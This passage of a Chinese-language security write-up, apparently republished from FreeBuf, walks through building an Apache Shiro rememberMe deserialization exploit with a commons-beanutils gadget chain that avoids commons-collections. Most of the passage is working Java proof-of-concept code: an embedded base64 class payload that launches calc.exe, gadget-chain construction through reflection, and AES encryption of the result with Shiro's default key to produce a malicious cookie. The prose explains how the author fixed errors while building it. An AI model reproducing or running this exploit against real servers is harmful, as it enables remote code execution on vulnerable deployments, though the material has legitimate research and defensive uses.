        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static Object getValue(Object obj, String filedname) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        return field.get(obj);
    }
}

image.png

当remeberMe值发送时会报错加载不了ComparableComparator类

同时这里有个坑点就是当使用了与环境中不同版本的commons-beautils依赖编写POC时,发送poc会报错,需要相同的commons-beautils版本

发生上面的报错是因为ComparableComparator类是CC依赖里面的类,当我们创建BeanComparator对象是会调用它的构造函数:
image.png

image.png

image.png

此时就无法加载该类

所以我的思路就是comparator的值,不调用ComparableComparator类,即找一个Comparator接口类型的对象来替换ComparableComparator.getInstance(),且该类需要实现java.util.Comparator接口

由于需要进行序列化、反序列化过程,所以还需要实现java.io.Serializable接口

这里找到CaseInsensitiveComparator类:
image.png

而它的常量可以实例化该类

所以修改POC:

BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

image.png

可运行时报错了,这是因为在调用add方法时,会调用offer方法:

image.png

在学CC2的时候就知道它会调用compare方法

image.png

这里调用的是java.lang.String$CaseInsensitiveComparator.compare方法,而该方法接受的是两个字符串,修改poc:

queue.add("1");
queue.add("1");

最终POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Comparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","B1uel0n3");
        setValue(templates,"_class",null);
        setValue(templates,"_bytecodes",new byte[][]{bytes});
        setValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue queue = new PriorityQueue(2,beanComparator);
        queue.add("1");
        queue.add("1");

        setValue(beanComparator,"property","outputProperties");

        Object[] queueArray=(Object[]) getValue(queue,"queue");
        queueArray[0]=templates;
        queueArray[1]=1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static Object getValue(Object obj, String filedname) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        return field.get(obj);
    }
}

image.png


文章来源: https://www.freebuf.com/articles/vuls/451885.html
如有侵权请联系:admin#unsafe.sh